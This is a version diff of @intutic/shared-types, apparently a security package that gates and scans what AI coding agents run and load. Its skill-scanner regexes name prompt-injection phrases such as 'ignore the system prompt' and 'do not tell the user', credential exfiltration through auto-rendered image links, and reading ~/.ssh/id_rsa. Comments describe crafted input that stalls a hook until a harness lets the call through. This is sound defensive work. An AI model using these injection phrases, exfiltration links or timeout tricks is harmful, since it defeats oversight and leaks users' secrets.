@intutic/shared-types 2.2.0 → 2.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (184) hide show
  1. package/dist/anomaly.d.ts +6 -10
  2. package/dist/anomaly.d.ts.map +1 -1
  3. package/dist/anomaly.js +0 -2
  4. package/dist/anomaly.js.map +1 -1
  5. package/dist/api-contracts.d.ts +1 -1
  6. package/dist/api-contracts.js +1 -1
  7. package/dist/attenuation.d.ts +1 -1
  8. package/dist/attenuation.js +1 -1
  9. package/dist/auth.d.ts +10 -9
  10. package/dist/auth.d.ts.map +1 -1
  11. package/dist/auth.js +3 -4
  12. package/dist/auth.js.map +1 -1
  13. package/dist/billing.d.ts +1 -1
  14. package/dist/billing.js +1 -1
  15. package/dist/destructiveSql.d.ts +48 -0
  16. package/dist/destructiveSql.d.ts.map +1 -0
  17. package/dist/destructiveSql.js +43 -0
  18. package/dist/destructiveSql.js.map +1 -0
  19. package/dist/devInventory.d.ts +120 -0
  20. package/dist/devInventory.d.ts.map +1 -0
  21. package/dist/devInventory.js +80 -0
  22. package/dist/devInventory.js.map +1 -0
  23. package/dist/enums.d.ts +18 -21
  24. package/dist/enums.d.ts.map +1 -1
  25. package/dist/enums.js +24 -28
  26. package/dist/enums.js.map +1 -1
  27. package/dist/errors.js +3 -3
  28. package/dist/errors.js.map +1 -1
  29. package/dist/finops.d.ts +14 -2
  30. package/dist/finops.d.ts.map +1 -1
  31. package/dist/finops.js +15 -1
  32. package/dist/finops.js.map +1 -1
  33. package/dist/gateDecisions.d.ts +18 -0
  34. package/dist/gateDecisions.d.ts.map +1 -0
  35. package/dist/gateDecisions.js +20 -0
  36. package/dist/gateDecisions.js.map +1 -0
  37. package/dist/gateIdentity.d.ts +23 -0
  38. package/dist/gateIdentity.d.ts.map +1 -0
  39. package/dist/gateIdentity.js +32 -0
  40. package/dist/gateIdentity.js.map +1 -0
  41. package/dist/gateKind.d.ts +172 -0
  42. package/dist/gateKind.d.ts.map +1 -0
  43. package/dist/gateKind.js +160 -0
  44. package/dist/gateKind.js.map +1 -0
  45. package/dist/gateLimits.d.ts +170 -0
  46. package/dist/gateLimits.d.ts.map +1 -0
  47. package/dist/gateLimits.js +96 -0
  48. package/dist/gateLimits.js.map +1 -0
  49. package/dist/gitRemote.d.ts +17 -0
  50. package/dist/gitRemote.d.ts.map +1 -0
  51. package/dist/gitRemote.js +71 -0
  52. package/dist/gitRemote.js.map +1 -0
  53. package/dist/governanceCoverage.d.ts +1 -1
  54. package/dist/governanceCoverage.js +1 -1
  55. package/dist/guardrailIr.d.ts +3 -3
  56. package/dist/guardrailIr.d.ts.map +1 -1
  57. package/dist/guardrailIr.js +3 -3
  58. package/dist/guardrailIr.js.map +1 -1
  59. package/dist/guardrailRender.d.ts +1 -1
  60. package/dist/guardrailRender.js +1 -1
  61. package/dist/harnessRules.d.ts +74 -0
  62. package/dist/harnessRules.d.ts.map +1 -0
  63. package/dist/harnessRules.js +142 -0
  64. package/dist/harnessRules.js.map +1 -0
  65. package/dist/holdMessages.d.ts +25 -0
  66. package/dist/holdMessages.d.ts.map +1 -0
  67. package/dist/holdMessages.js +34 -0
  68. package/dist/holdMessages.js.map +1 -0
  69. package/dist/identity.d.ts +1 -1
  70. package/dist/identity.js +2 -2
  71. package/dist/identity.js.map +1 -1
  72. package/dist/index.d.ts +33 -5
  73. package/dist/index.d.ts.map +1 -1
  74. package/dist/index.js +132 -10
  75. package/dist/index.js.map +1 -1
  76. package/dist/intelligence.d.ts +1 -1
  77. package/dist/mcpBudgets.d.ts +191 -0
  78. package/dist/mcpBudgets.d.ts.map +1 -0
  79. package/dist/mcpBudgets.js +144 -0
  80. package/dist/mcpBudgets.js.map +1 -0
  81. package/dist/mcpRegistryRecord.d.ts +143 -0
  82. package/dist/mcpRegistryRecord.d.ts.map +1 -0
  83. package/dist/mcpRegistryRecord.js +229 -0
  84. package/dist/mcpRegistryRecord.js.map +1 -0
  85. package/dist/mcpToolRisk.d.ts +82 -0
  86. package/dist/mcpToolRisk.d.ts.map +1 -0
  87. package/dist/mcpToolRisk.js +334 -0
  88. package/dist/mcpToolRisk.js.map +1 -0
  89. package/dist/modelCatalog.d.ts +2 -2
  90. package/dist/modelCatalog.generated.js +1 -1
  91. package/dist/modelCatalog.generated.js.map +1 -1
  92. package/dist/modelCatalog.js +2 -2
  93. package/dist/notifications.d.ts +8 -150
  94. package/dist/notifications.d.ts.map +1 -1
  95. package/dist/notifications.js +241 -1
  96. package/dist/notifications.js.map +1 -1
  97. package/dist/phrases.d.ts +87 -0
  98. package/dist/phrases.d.ts.map +1 -0
  99. package/dist/phrases.js +241 -0
  100. package/dist/phrases.js.map +1 -0
  101. package/dist/piiDetectors.d.ts +97 -0
  102. package/dist/piiDetectors.d.ts.map +1 -0
  103. package/dist/piiDetectors.js +96 -0
  104. package/dist/piiDetectors.js.map +1 -0
  105. package/dist/piiDetectors.json +71 -0
  106. package/dist/policy.d.ts +1 -1
  107. package/dist/policy.js +1 -1
  108. package/dist/policyGuardrails.d.ts +127 -10
  109. package/dist/policyGuardrails.d.ts.map +1 -1
  110. package/dist/policyGuardrails.js +59 -6
  111. package/dist/policyGuardrails.js.map +1 -1
  112. package/dist/posturePresets.js +1 -1
  113. package/dist/posturePresets.js.map +1 -1
  114. package/dist/providerVerification.d.ts +2 -2
  115. package/dist/providerVerification.js +2 -2
  116. package/dist/providers.d.ts +4 -4
  117. package/dist/providers.d.ts.map +1 -1
  118. package/dist/providers.js +11 -6
  119. package/dist/providers.js.map +1 -1
  120. package/dist/regoBuiltins.d.ts +42 -0
  121. package/dist/regoBuiltins.d.ts.map +1 -0
  122. package/dist/regoBuiltins.js +732 -0
  123. package/dist/regoBuiltins.js.map +1 -0
  124. package/dist/regoRules.d.ts +105 -0
  125. package/dist/regoRules.d.ts.map +1 -0
  126. package/dist/regoRules.js +407 -0
  127. package/dist/regoRules.js.map +1 -0
  128. package/dist/ruleLoadFailures.d.ts +15 -0
  129. package/dist/ruleLoadFailures.d.ts.map +1 -0
  130. package/dist/ruleLoadFailures.js +26 -0
  131. package/dist/ruleLoadFailures.js.map +1 -0
  132. package/dist/scriptScan.d.ts +5 -5
  133. package/dist/scriptScan.js +3 -3
  134. package/dist/sequence.d.ts +52 -0
  135. package/dist/sequence.d.ts.map +1 -0
  136. package/dist/sequence.js +127 -0
  137. package/dist/sequence.js.map +1 -0
  138. package/dist/session.d.ts +1 -1
  139. package/dist/session.js +1 -1
  140. package/dist/skillScan.d.ts +3 -3
  141. package/dist/skillScan.d.ts.map +1 -1
  142. package/dist/skillScan.js +26 -4
  143. package/dist/skillScan.js.map +1 -1
  144. package/dist/sop.d.ts +5 -5
  145. package/dist/sop.js +2 -2
  146. package/dist/sourceProviders.d.ts +1 -8
  147. package/dist/sourceProviders.d.ts.map +1 -1
  148. package/dist/sourceProviders.js +2 -9
  149. package/dist/sourceProviders.js.map +1 -1
  150. package/dist/ssoGroupClearance.d.ts +18 -2
  151. package/dist/ssoGroupClearance.d.ts.map +1 -1
  152. package/dist/ssoGroupClearance.js +43 -4
  153. package/dist/ssoGroupClearance.js.map +1 -1
  154. package/dist/sync.d.ts +0 -1
  155. package/dist/sync.d.ts.map +1 -1
  156. package/dist/sync.js +0 -1
  157. package/dist/sync.js.map +1 -1
  158. package/dist/taskManagement.d.ts +0 -2
  159. package/dist/taskManagement.d.ts.map +1 -1
  160. package/dist/taskManagement.js +0 -2
  161. package/dist/taskManagement.js.map +1 -1
  162. package/dist/toolPoison.d.ts +33 -0
  163. package/dist/toolPoison.d.ts.map +1 -0
  164. package/dist/toolPoison.js +85 -0
  165. package/dist/toolPoison.js.map +1 -0
  166. package/dist/usage.d.ts +186 -0
  167. package/dist/usage.d.ts.map +1 -1
  168. package/dist/wasmBinary.d.ts +25 -0
  169. package/dist/wasmBinary.d.ts.map +1 -0
  170. package/dist/wasmBinary.js +111 -0
  171. package/dist/wasmBinary.js.map +1 -0
  172. package/dist/wasmFuel.d.ts +52 -0
  173. package/dist/wasmFuel.d.ts.map +1 -0
  174. package/dist/wasmFuel.js +320 -0
  175. package/dist/wasmFuel.js.map +1 -0
  176. package/dist/wasmMemoryCap.d.ts +21 -0
  177. package/dist/wasmMemoryCap.d.ts.map +1 -0
  178. package/dist/wasmMemoryCap.js +58 -0
  179. package/dist/wasmMemoryCap.js.map +1 -0
  180. package/dist/workspaceSettings.d.ts +58 -17
  181. package/dist/workspaceSettings.d.ts.map +1 -1
  182. package/dist/workspaceSettings.js +2 -1
  183. package/dist/workspaceSettings.js.map +1 -1
  184. package/package.json +2 -2
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+ /**
3
+ * Why a proxy refused to load a custom (WASM or Rego) rule version. The Rust
4
+ * proxy files a control-plane rule it refuses under one of these, and the
5
+ * control plane opens the incident with it; the MCP proxy, which loads only
6
+ * local rule files, logs the same names. One list, so a reason means the same
7
+ * thing wherever it is read.
8
+ *
9
+ * @module
10
+ */
11
+ Object.defineProperty(exports, "__esModule", { value: true });
12
+ exports.RULE_LOAD_FAILURE_TEXT = exports.RULE_LOAD_FAILURE_REASONS = void 0;
13
+ exports.isRuleLoadFailureReason = isRuleLoadFailureReason;
14
+ exports.RULE_LOAD_FAILURE_REASONS = ['missing', 'hash_mismatch', 'compile_error', 'unsupported_import', 'load_error'];
15
+ /** What each reason means, as an incident or a log states it. */
16
+ exports.RULE_LOAD_FAILURE_TEXT = {
17
+ missing: 'its binary is missing',
18
+ hash_mismatch: 'its binary does not hash to the SHA-256 its descriptor names',
19
+ compile_error: 'its binary is not a WebAssembly module the proxy compiles',
20
+ unsupported_import: 'it imports a host function the proxy does not provide',
21
+ load_error: 'the proxy cannot run it, such as an OPA build using a builtin the host does not provide',
22
+ };
23
+ function isRuleLoadFailureReason(value) {
24
+ return exports.RULE_LOAD_FAILURE_REASONS.includes(value);
25
+ }
26
+ //# sourceMappingURL=ruleLoadFailures.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ruleLoadFailures.js","sourceRoot":"","sources":["../src/ruleLoadFailures.ts"],"names":[],"mappings":";AAAA;;;;;;;;GAQG;;;AAeH,0DAEC;AAfY,QAAA,yBAAyB,GAAG,CAAC,SAAS,EAAE,eAAe,EAAE,eAAe,EAAE,oBAAoB,EAAE,YAAY,CAAU,CAAA;AAInI,iEAAiE;AACpD,QAAA,sBAAsB,GAA0C;IAC3E,OAAO,EAAE,uBAAuB;IAChC,aAAa,EAAE,8DAA8D;IAC7E,aAAa,EAAE,2DAA2D;IAC1E,kBAAkB,EAAE,uDAAuD;IAC3E,UAAU,EAAE,yFAAyF;CACtG,CAAA;AAED,SAAgB,uBAAuB,CAAC,KAAc;IACpD,OAAQ,iCAAgD,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC1E,CAAC"}
@@ -7,8 +7,8 @@
7
7
  *
8
8
  * `skillScan.ts` scans `SKILL.md` — markdown PROSE — for imperative
9
9
  * instruction shapes ("do not tell the user", "read ~/.ssh/id_rsa"). That
10
- * genre does not describe arbitrary source code, which is why TD-356
11
- * (`docs/TECH_DEBT.md`) explicitly deferred bundled-script scanning out of
10
+ * genre does not describe arbitrary source code, which is why bundled-script
11
+ * scanning was explicitly deferred out of
12
12
  * the phase that built `skillScan.ts`, rather than bolting a second, unrelated
13
13
  * detector onto it. This module is that deferred work, Phase S2. It reuses
14
14
  * `skillScan.ts`'s pattern shape ({@link SkillScanPattern}), its 3-category
@@ -122,7 +122,7 @@ export declare const MAX_FILES_PER_SKILL = 40;
122
122
  export declare const MAX_SCRIPT_SCAN_BYTES = 262144;
123
123
  /**
124
124
  * 8 MiB. Largest bundled file the sync daemon will read to sha256-hash for
125
- * its `scripts` facet (TD-486). Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
125
+ * its `scripts` facet. Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
126
126
  * purpose: a file too big to content-scan is still worth a hash-only
127
127
  * VirusTotal lookup. A file over this cap is counted in `total` and neither
128
128
  * hashed nor scanned — the daemon re-walks every skill on every sync cycle,
@@ -148,9 +148,9 @@ export interface SkillScriptsFacet {
148
148
  /**
149
149
  * sha256 (lowercase hex) of each bundled file the daemon could read
150
150
  * within {@link MAX_SCRIPT_HASH_BYTES}, one entry per file in walk order
151
- * (TD-486). Hashes only — file content never leaves the machine. The
151
+ * Hashes only — file content never leaves the machine. The
152
152
  * control plane joins VirusTotal verdicts to the skill on these. ABSENT
153
- * (not empty) from a daemon build that predates TD-486; the control
153
+ * (not empty) from a daemon build that predates script hashing; the control
154
154
  * plane falls back to a name-keyed join only in that case. An empty
155
155
  * array means nothing was hashable, and gets no fallback.
156
156
  */
@@ -8,8 +8,8 @@
8
8
  *
9
9
  * `skillScan.ts` scans `SKILL.md` — markdown PROSE — for imperative
10
10
  * instruction shapes ("do not tell the user", "read ~/.ssh/id_rsa"). That
11
- * genre does not describe arbitrary source code, which is why TD-356
12
- * (`docs/TECH_DEBT.md`) explicitly deferred bundled-script scanning out of
11
+ * genre does not describe arbitrary source code, which is why bundled-script
12
+ * scanning was explicitly deferred out of
13
13
  * the phase that built `skillScan.ts`, rather than bolting a second, unrelated
14
14
  * detector onto it. This module is that deferred work, Phase S2. It reuses
15
15
  * `skillScan.ts`'s pattern shape ({@link SkillScanPattern}), its 3-category
@@ -77,7 +77,7 @@ exports.MAX_FILES_PER_SKILL = 40;
77
77
  exports.MAX_SCRIPT_SCAN_BYTES = 262_144;
78
78
  /**
79
79
  * 8 MiB. Largest bundled file the sync daemon will read to sha256-hash for
80
- * its `scripts` facet (TD-486). Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
80
+ * its `scripts` facet. Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
81
81
  * purpose: a file too big to content-scan is still worth a hash-only
82
82
  * VirusTotal lookup. A file over this cap is counted in `total` and neither
83
83
  * hashed nor scanned — the daemon re-walks every skill on every sync cycle,
@@ -0,0 +1,52 @@
1
+ /**
2
+ * Sequence rules: a gate rule `A.*B` run as "find A, then find B after it" in
3
+ * linear time.
4
+ *
5
+ * A rule like ` git .*reset +--hard` is a regex. `grep -E` runs it as an
6
+ * automaton, in time linear in the command. JavaScript's and Python's engines
7
+ * backtrack: for every ` git ` they try every end of `.*`, so 200 KB of
8
+ * ` git git git …` took 9.5 s, which is past the point where a harness that
9
+ * treats a hook timeout as "allow" runs the call. A rule marked `sequence`
10
+ * (`s` in a `.rules` line's flags column) is the same regex, read differently:
11
+ *
12
+ * - its top-level `|` alternatives are tried in turn;
13
+ * - each alternative is cut at its top-level `.*` into steps;
14
+ * - each step is searched for once, starting where the previous one ended.
15
+ *
16
+ * Each search is one pass over the text, so a rule costs at most its number of
17
+ * steps times the length of the text. It means the same as the regex provided
18
+ * the first match of every step but the last also ends first, which holds for
19
+ * every step the rule tables use: a step that starts and ends at a space with
20
+ * no space inside, or a fixed word. `.` does not match a newline and neither
21
+ * does a step search cross one in the regex, but the gates normalise every
22
+ * command subject to single spaces first, so there is none. A test fuzzes each
23
+ * sequence rule against its own regex.
24
+ *
25
+ * Self-contained on purpose — no imports, no module state — because the
26
+ * JavaScript gates emit it as source ({@link SEQUENCE_JS_SOURCE}).
27
+ * `packages/gate-js/src/sequence.ts` is a byte-identical copy and
28
+ * `intutic_clawde/gate/sequence.py` a transliteration; all of them run
29
+ * `fixtures/gate-rule-vectors.json`.
30
+ *
31
+ * @module
32
+ */
33
+ /**
34
+ * A sequence rule's source as alternatives of steps: split at every top-level
35
+ * `|`, then each alternative at every top-level `.*`. ` a .*b| c .*d` is
36
+ * `[[' a ', 'b'], [' c ', 'd']]`. Outside a group or a class only, so `(x|y)`
37
+ * stays inside its step. Empty steps are dropped.
38
+ */
39
+ export declare function sequenceAlternatives(source: string): string[][];
40
+ /**
41
+ * Compiles a sequence rule's source for {@link sequenceMatch}: each step with
42
+ * the `g` flag, which is what lets a search start at `lastIndex`.
43
+ */
44
+ export declare function compileSequence(source: string, ignoreCase: boolean): RegExp[][];
45
+ /** Whether `text` matches a compiled sequence rule: some alternative's steps occur in order. */
46
+ export declare function sequenceMatch(alternatives: RegExp[][], text: string): boolean;
47
+ /**
48
+ * The three functions as JavaScript source, for a gate to emit: the gates run
49
+ * this exact code, not a retyped copy.
50
+ */
51
+ export declare const SEQUENCE_JS_SOURCE: string;
52
+ //# sourceMappingURL=sequence.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sequence.d.ts","sourceRoot":"","sources":["../src/sequence.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,wBAAgB,oBAAoB,CAAC,MAAM,EAAE,MAAM,GAAG,MAAM,EAAE,EAAE,CA6C/D;AAED;;;GAGG;AACH,wBAAgB,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,UAAU,EAAE,OAAO,GAAG,MAAM,EAAE,EAAE,CAE/E;AAED,gGAAgG;AAChG,wBAAgB,aAAa,CAAC,YAAY,EAAE,MAAM,EAAE,EAAE,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,CAgB7E;AAED;;;GAGG;AACH,eAAO,MAAM,kBAAkB,QAAmG,CAAA"}
@@ -0,0 +1,127 @@
1
+ "use strict";
2
+ /**
3
+ * Sequence rules: a gate rule `A.*B` run as "find A, then find B after it" in
4
+ * linear time.
5
+ *
6
+ * A rule like ` git .*reset +--hard` is a regex. `grep -E` runs it as an
7
+ * automaton, in time linear in the command. JavaScript's and Python's engines
8
+ * backtrack: for every ` git ` they try every end of `.*`, so 200 KB of
9
+ * ` git git git …` took 9.5 s, which is past the point where a harness that
10
+ * treats a hook timeout as "allow" runs the call. A rule marked `sequence`
11
+ * (`s` in a `.rules` line's flags column) is the same regex, read differently:
12
+ *
13
+ * - its top-level `|` alternatives are tried in turn;
14
+ * - each alternative is cut at its top-level `.*` into steps;
15
+ * - each step is searched for once, starting where the previous one ended.
16
+ *
17
+ * Each search is one pass over the text, so a rule costs at most its number of
18
+ * steps times the length of the text. It means the same as the regex provided
19
+ * the first match of every step but the last also ends first, which holds for
20
+ * every step the rule tables use: a step that starts and ends at a space with
21
+ * no space inside, or a fixed word. `.` does not match a newline and neither
22
+ * does a step search cross one in the regex, but the gates normalise every
23
+ * command subject to single spaces first, so there is none. A test fuzzes each
24
+ * sequence rule against its own regex.
25
+ *
26
+ * Self-contained on purpose — no imports, no module state — because the
27
+ * JavaScript gates emit it as source ({@link SEQUENCE_JS_SOURCE}).
28
+ * `packages/gate-js/src/sequence.ts` is a byte-identical copy and
29
+ * `intutic_clawde/gate/sequence.py` a transliteration; all of them run
30
+ * `fixtures/gate-rule-vectors.json`.
31
+ *
32
+ * @module
33
+ */
34
+ Object.defineProperty(exports, "__esModule", { value: true });
35
+ exports.SEQUENCE_JS_SOURCE = void 0;
36
+ exports.sequenceAlternatives = sequenceAlternatives;
37
+ exports.compileSequence = compileSequence;
38
+ exports.sequenceMatch = sequenceMatch;
39
+ /**
40
+ * A sequence rule's source as alternatives of steps: split at every top-level
41
+ * `|`, then each alternative at every top-level `.*`. ` a .*b| c .*d` is
42
+ * `[[' a ', 'b'], [' c ', 'd']]`. Outside a group or a class only, so `(x|y)`
43
+ * stays inside its step. Empty steps are dropped.
44
+ */
45
+ function sequenceAlternatives(source) {
46
+ const alternatives = [];
47
+ let steps = [];
48
+ let current = '';
49
+ let depth = 0;
50
+ let inClass = false;
51
+ for (let i = 0; i < source.length; i++) {
52
+ const c = source.charAt(i);
53
+ if (c === '\\') {
54
+ current += c + source.charAt(i + 1);
55
+ i++;
56
+ continue;
57
+ }
58
+ if (inClass) {
59
+ current += c;
60
+ if (c === ']')
61
+ inClass = false;
62
+ continue;
63
+ }
64
+ if (c === '[') {
65
+ inClass = true;
66
+ current += c;
67
+ if (source.charAt(i + 1) === '^')
68
+ current += source.charAt(++i);
69
+ if (source.charAt(i + 1) === ']')
70
+ current += source.charAt(++i);
71
+ continue;
72
+ }
73
+ if (c === '(')
74
+ depth++;
75
+ if (c === ')')
76
+ depth--;
77
+ if (depth === 0 && c === '|') {
78
+ steps.push(current);
79
+ alternatives.push(steps.filter((step) => step !== ''));
80
+ steps = [];
81
+ current = '';
82
+ continue;
83
+ }
84
+ if (depth === 0 && c === '.' && source.charAt(i + 1) === '*') {
85
+ steps.push(current);
86
+ current = '';
87
+ i++;
88
+ continue;
89
+ }
90
+ current += c;
91
+ }
92
+ steps.push(current);
93
+ alternatives.push(steps.filter((step) => step !== ''));
94
+ return alternatives;
95
+ }
96
+ /**
97
+ * Compiles a sequence rule's source for {@link sequenceMatch}: each step with
98
+ * the `g` flag, which is what lets a search start at `lastIndex`.
99
+ */
100
+ function compileSequence(source, ignoreCase) {
101
+ return sequenceAlternatives(source).map((steps) => steps.map((step) => new RegExp(step, ignoreCase ? 'gi' : 'g')));
102
+ }
103
+ /** Whether `text` matches a compiled sequence rule: some alternative's steps occur in order. */
104
+ function sequenceMatch(alternatives, text) {
105
+ for (const steps of alternatives) {
106
+ let pos = 0;
107
+ let ok = true;
108
+ for (const step of steps) {
109
+ step.lastIndex = pos;
110
+ const m = step.exec(text);
111
+ if (!m) {
112
+ ok = false;
113
+ break;
114
+ }
115
+ pos = m.index + m[0].length;
116
+ }
117
+ if (ok)
118
+ return true;
119
+ }
120
+ return false;
121
+ }
122
+ /**
123
+ * The three functions as JavaScript source, for a gate to emit: the gates run
124
+ * this exact code, not a retyped copy.
125
+ */
126
+ exports.SEQUENCE_JS_SOURCE = `${sequenceAlternatives.toString()}\n${compileSequence.toString()}\n${sequenceMatch.toString()}`;
127
+ //# sourceMappingURL=sequence.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sequence.js","sourceRoot":"","sources":["../src/sequence.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;;;AAQH,oDA6CC;AAMD,0CAEC;AAGD,sCAgBC;AA9ED;;;;;GAKG;AACH,SAAgB,oBAAoB,CAAC,MAAc;IACjD,MAAM,YAAY,GAAe,EAAE,CAAA;IACnC,IAAI,KAAK,GAAa,EAAE,CAAA;IACxB,IAAI,OAAO,GAAG,EAAE,CAAA;IAChB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AA;YACpB,MAAM,CAAC,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;YACzB,IAAI,CAAC,CAAC,EAAE,CAAC;gBACP,EAAE,GAAG,KAAK,CAAA;gBACV,MAAK;YACP,CAAC;YACD,GAAG,GAAG,CAAC,CAAC,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,MAAM,CAAA;QAC7B,CAAC;QACD,IAAI,EAAE;YAAE,OAAO,IAAI,CAAA;IACrB,CAAC;IACD,OAAO,KAAK,CAAA;AACd,CAAC;AAED;;;GAGG;AACU,QAAA,kBAAkB,GAAG,GAAG,oBAAoB,CAAC,QAAQ,EAAE,KAAK,eAAe,CAAC,QAAQ,EAAE,KAAK,aAAa,CAAC,QAAQ,EAAE,EAAE,CAAA"}
package/dist/session.d.ts CHANGED
@@ -3,7 +3,7 @@
3
3
  *
4
4
  * These types correspond to the `agent_sessions` table and the
5
5
  * Valkey session checkpoint keys defined in
6
- * LLD 01-data-architecture §3.1 and §3.3.
6
+ * the data-architecture schema.
7
7
  *
8
8
  * HLD §4.5 (Session Tracking)
9
9
  *
package/dist/session.js CHANGED
@@ -4,7 +4,7 @@
4
4
  *
5
5
  * These types correspond to the `agent_sessions` table and the
6
6
  * Valkey session checkpoint keys defined in
7
- * LLD 01-data-architecture §3.1 and §3.3.
7
+ * the data-architecture schema.
8
8
  *
9
9
  * HLD §4.5 (Session Tracking)
10
10
  *
@@ -38,7 +38,7 @@
38
38
  * not allow…") that a tool description never does — precisely the shape
39
39
  * this module's patterns key on.
40
40
  *
41
- * **Measured since (TD-358):** `src/__tests__/corpus/skills/` vendors 350
41
+ * **Measured since:** `src/__tests__/corpus/skills/` vendors 350
42
42
  * real, benign `SKILL.md` files from four MIT/Apache-2.0 skill collections
43
43
  * at pinned commits (provenance, licences and bias statement in that
44
44
  * directory's `PROVENANCE.md`; the reviewed result in `BASELINE.txt`).
@@ -60,7 +60,7 @@
60
60
  * measurement is {@link SKILL_CONTENT_BLOCK_PATTERN_IDS}: the zero-hit
61
61
  * patterns, shipped to the tool-call gates through the sync daemon's policy
62
62
  * snapshot (`skill_content.*`, see `services/sync-daemon/src/lib/policySnapshot.ts`)
63
- * where one sync cycle retracts them. See `docs/TECH_DEBT.md` TD-358.
63
+ * where one sync cycle retracts them.
64
64
  *
65
65
  * # Fixture discipline
66
66
  *
@@ -99,7 +99,7 @@ export type SkillScanCategory = 'prompt_injection' | 'data_exfiltration' | 'mali
99
99
  * scanner (and `scriptScan.ts`'s, which reuses this union);
100
100
  * `'cisco-skill-scanner'` is the separate, opt-in Cisco `skill-scanner`
101
101
  * integration (Phase S3, `tools/cli/src/lib/ciscoScanner.ts`) — the
102
- * genuinely deeper AST/dataflow analysis TD-356 named as the eventual
102
+ * genuinely deeper AST/dataflow analysis long named as the eventual
103
103
  * follow-up to this phase's pattern matching. Optional, not required: a
104
104
  * finding from before this field existed has no engine tag, which is fine —
105
105
  * absence has always meant "this codebase's own scanner," now made explicit.
@@ -1 +1 @@
1
- {"version":3,"file":"skillScan.d.ts","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;AAEH;;4EAE4E;AAC5E,MAAM,MAAM,iBAAiB,GAAG,kBAAkB,GAAG,mBAAmB,GAAG,gBAAgB,CAAA;AAE3F;;;;;;;;;GASG;AACH,MAAM,MAAM,eAAe,GAAG,QAAQ,GAAG,qBAAqB,CAAA;AAE9D,oDAAoD;AACpD,MAAM,WAAW,gBAAgB;IAC/B,2EAA2E;IAC3E,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,iBAAiB,CAAA;IAC3B,oFAAoF;IACpF,MAAM,EAAE,MAAM,CAAA;IACd,8EAA8E;IAC9E,WAAW,EAAE,MAAM,CAAA;IACnB,qEAAqE;IACrE,OAAO,EAAE,SAAS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does — precisely the shape
40
40
  * this module's patterns key on.
41
41
  *
42
- * **Measured since (TD-358):** `src/__tests__/corpus/skills/` vendors 350
42
+ * **Measured since:** `src/__tests__/corpus/skills/` vendors 350
43
43
  * real, benign `SKILL.md` files from four MIT/Apache-2.0 skill collections
44
44
  * at pinned commits (provenance, licences and bias statement in that
45
45
  * directory's `PROVENANCE.md`; the reviewed result in `BASELINE.txt`).
@@ -61,7 +61,7 @@
61
61
  * measurement is {@link SKILL_CONTENT_BLOCK_PATTERN_IDS}: the zero-hit
62
62
  * patterns, shipped to the tool-call gates through the sync daemon's policy
63
63
  * snapshot (`skill_content.*`, see `services/sync-daemon/src/lib/policySnapshot.ts`)
64
- * where one sync cycle retracts them. See `docs/TECH_DEBT.md` TD-358.
64
+ * where one sync cycle retracts them.
65
65
  *
66
66
  * # Fixture discipline
67
67
  *
@@ -272,7 +272,14 @@ exports.SKILL_SCAN_PATTERNS = [
272
272
  // Requires an agent-directed imperative inside the comment, not just
273
273
  // any comment, to keep ordinary editorial comments ("TODO", "see style
274
274
  // guide") out of the false-positive set.
275
- source: '<!--[\\s\\S]{0,200}?\\b(ignore\\s+(the\\s+)?(system\\s+prompt|previous)|secretly' +
275
+ //
276
+ // The lookahead after `<!--` is a necessary condition — the comment must
277
+ // close within 600 characters (200 before the imperative, the imperative,
278
+ // 200 after it) — checked once per comment. Without it each imperative in
279
+ // a comment that never closes scanned 200 characters for `-->`, and a
280
+ // crafted 256 KB file took a third of a second in Python. It misses only an
281
+ // imperative stretched past ~190 characters by whitespace between its words.
282
+ source: '<!--(?=[\\s\\S]{0,600}?-->)[\\s\\S]{0,200}?\\b(ignore\\s+(the\\s+)?(system\\s+prompt|previous)|secretly' +
276
283
  '|do\\s+not\\s+(tell|mention|reveal)|hidden\\s+instructions?)\\b[\\s\\S]{0,200}?-->',
277
284
  description: 'An HTML comment — invisible when the markdown renders — containing an agent-directed ' +
278
285
  'imperative, a place a human reviewer would not see it.',
@@ -293,13 +300,28 @@ exports.SKILL_SCAN_PATTERNS = [
293
300
  // a credential-shaped word is the classic image-based exfiltration
294
301
  // vector — an auto-rendered `![]()` fires an outbound request built
295
302
  // from the surrounding "instructions" with no user action required.
296
- source: '!?\\[[^\\]]*\\]\\(\\s*https?://[^)\\s]*\\b(secret|token|password|api[_-]?key|credential|ssh)\\b[^)]*\\)',
303
+ //
304
+ // Written so a backtracking engine does each link once: the link text
305
+ // cannot contain `[` (a match from an inner `[` exists whenever one from an
306
+ // outer one does); the URL stops at `[` too, except for a bracketed IP
307
+ // host, so one link's URL scan never runs over the next link's; the first
308
+ // credential word in the URL is found inside a lookahead and kept
309
+ // (`(?=(…))\\1` cannot be re-entered), the rest of the URL is consumed the
310
+ // same way, and the link must close within 200 characters after the URL (a
311
+ // title). The unbounded version was cubic: 8 KB of `![x](http://a-secret-…`
312
+ // took a third of a second, 16 KB 2.5 s, and 256 KB of `[a](http://x`
313
+ // nearly two minutes in Python. It misses a credential word that comes
314
+ // after a raw `[` in the path or query, which RFC 3986 requires encoded.
315
+ source: '!?\\[[^\\[\\]]*\\]\\(\\s*https?://(?:\\[[^\\]\\s)]{0,64}\\])?' +
316
+ '(?=([^)\\s\\[]*?\\b(?:secret|token|password|api[_-]?key|credential|ssh)\\b))\\1' +
317
